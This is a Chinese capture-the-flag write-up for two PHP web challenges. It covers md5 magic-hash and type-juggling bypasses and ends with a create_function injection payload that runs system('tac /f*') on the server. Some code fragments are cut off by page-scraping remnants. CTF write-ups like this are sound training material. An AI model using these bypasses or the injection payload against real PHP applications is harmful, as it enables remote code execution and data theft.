出题友好,适合手生复健。
目录
①RCE但是没有完全RCE
②了解过PHP特性吗
①RCE但是没有完全RCE
上来就是一段md5八股
(string)就是不让用数组了,然后强比较需要md5碰撞
" />post:md5_3=0e215962017
成功过掉,访问3z_RC3.php
这里可能有师傅会想用hex2bin,但编码后会有f和a两个字母不能用,限制太大,反而弄巧成拙。
所以采用下面这种解法:
/3z_RC3.php" />②了解过PHP特性吗 乐,开屏一堆PHP特性
这里可能比较难测,所以建议自己本地搭一下,稍微修改下代码,让绕过的进度可视化。
114514 && strlen($_114) 9999999) {echo 3;}}$arr4y = $_POST['arr4y'];if (is_array($arr4y)) {for ($i = 0; $i < count($arr4y); $i++) {if ($arr4y[$i] === "NSS") {die("no!");}$arr4y[$i] = intval($arr4y[$i]);}if (array_search("NSS", $arr4y) === 0) {echo 4;}}
第一个是数组绕过preg_match,不解释。
第二个是0e绕过弱比较,找两个md5后为0e的原字符串,因为要求$ctype是字母,$is_num是数字(当然包括科学计数法)
自然可以找到这两个,记得要rev一下。
QNKCDZO->OZDCKNQ
0e215962017->710269512e0
第三个是科学计数法+含数字字母字符串弱比较
第四个传入一个数组,NSS前加个空格可绕过"===",且让array_search可以匹配到NSS(可本地试一下)
' NSS'); //注意NSS前有空格$key=array_search('NSS',$arr);if ($key=1){echo 'success';}else echo 'no!';
payload:
" /> 访问Rc3_function.php
一眼create_function注入,贴出文章不多解释
create_function注入
payload:
shell=&nss=1;}system('tac /f*');/*